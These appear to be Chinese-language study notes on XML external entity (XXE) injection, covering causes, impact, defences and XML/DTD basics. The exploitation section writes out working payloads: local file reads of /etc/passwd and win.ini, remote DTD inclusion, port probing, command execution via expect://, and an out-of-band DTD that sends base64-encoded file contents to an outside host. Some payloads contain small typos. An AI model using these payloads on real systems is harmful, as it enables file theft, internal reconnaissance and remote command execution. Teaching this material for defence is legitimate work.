XXE

1. 定义

  • XXE,全称XML外部实体引入,应用程序在解析XML输入时,没有过滤XML文件内容或禁止外部实体的加载,导致可加载恶意外部文件

2. 产生原因

  1. 对上传的xml文件没有过滤
  2. 没有禁用外部实体的加载

3. 危害

  1. 读取任意文件
  2. 执行系统命令
  3. 内网端口扫描
  4. 攻击内网其他网站

4. 防御

  1. 禁止使用外部实体,例如ibxml_disable_entity_loader(true)
  2. 过滤用户提交的XML数据,防止出现非法内容

5. 漏洞利用

a. 本地引用任意文件
<!--读取Linux系统-->
#payload:
<?xml version="1.0"?>
<!DOCTYPE note[
    <!ENTITY content SYSTEM "file:///etc/passwd">
    ]>
&content;

<!--读取windows系统-->
#payload:
#读取Windows系统的配置文件
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY content SYSTEM "file:///c:/windows/win.ini">
]>
&content;

b. 远程引用任意文件
<!--读取windows系统-->
#payload:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY % test SYSTEM "http://192.168.71.49:80/1.dtd">
%test;
]>
&xxe;

<!--外部文件1.dtd内容-->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">

c. 远程端口探测
①payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY  test SYSTEM "http://ip:探测端口号/test/">
]>

&xxe;
②实例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY  test SYSTEM "http://ip:192.168.71.59:80/test/">
]>

&test;

远程端口探测


d. RCE
  • 服务器配置不当/开发内部应用导致
  • php环境中安装了expect扩展
①payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY  test SYSTEM "expect://系统命令">
]>
&test;
②实例

6. 回显方式

(1). 有回显

a. 方式
  1. 在xml内部DTD中,定义一个外部参数实体引入外部dtd,外部参数实体的值是外部dtd的url,
  2. 在外部dtd文件中,定义一个外部普通实体实体,外部实体的值是payload
  3. 在内部dtd中引用参数实体,在xml中引用外部dtd的外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY  test SYSTEM "file:///etc/passwd">
]>
&test;
b. 用途
  1. XXE的扩展利用
  2. 内网探测机器开放端口
  3. 进行内网探测

(2). 无回显

  • 采用数据外带的方式
<!--2.dtd文件内容-->
<!ENTITY % x SYSTEM "php://filter/read-convert.base64-encode/resource=doLogin.php">
<!ENTITY % y "<!ENTITY &#37; z SYSTEM 'http://192.168.71.57/?data=%x'>">

<!--payload-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE abc [<!ENTITY % a SYSTEM "http://192.168.71.57/xxe/2.dtd">
%a;%y;%z;
]>

%x;

7. XML基础

(1). 语法结构

  • 分为2部分,一部分是标签的定义,一部分是标签的解释(DTD,Document Type Defination)

    XML语法结构

(2). DTD文档

a. 概述
  1. DTD使数据格式之间按照相同的标准来传输
  2. DTD是一种XML约束模式语言,用来解释XML文档
b. 类型
  • 内部DTD文档和外部DTD文档
c. 语法结构
①内部DTD
  • <!DOCTYPE 根元素[定义内容]>
    

    DTD内部文档语法结构

②外部DTD
  • 使用system关键字

  • <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
    
  1. 新建一个DTD文档outdtd.dtd

    <?xml version="1.0"?>
    <!ELEMENT note (to.from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT head (#PCDATA)>
    <!ELEMENT body (#PCDATA)
    
  2. 新建一个XML文档outdtd.xml

    <?xml version="1.0"?>
    <! DOCTYPE note SYSTEM "outdtd.dtd">
    <note>
        <to>ichunqiu</to>
        <from>Hello</from>
        <head>safe</head>
        <body>666</body>
    </note>
    
③内外结合
  • <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
    
  1. 新建一个DTD文档outdtd.dtd

    <?xml version="1.0" encodeing="UTF-8"?>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT head (#PCDATA)>
    <!ELEMENT body (#PCDATA)
    
  2. 新建一个XML文档outdtd.xml

    <?xml version="1.0"?>
    <! DOCTYPE note SYSTEM "outdtd.dtd">[
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    ]
    <note>
        <to>ichunqiu</to>
        <from>Hello</from>
        <head>safe</head>
        <body>666</body>
    </note>
    

(3). XML实体

a. 概述
  • XML实体,即XML语言的变量,有实体名(变量名)和实体值(变量值),可以通过& % /引用
b.实体类型
  • 普通实体和参数实体

    XML实体类型解析

c. 支持的协议
XML支持协议
d. XML实体引用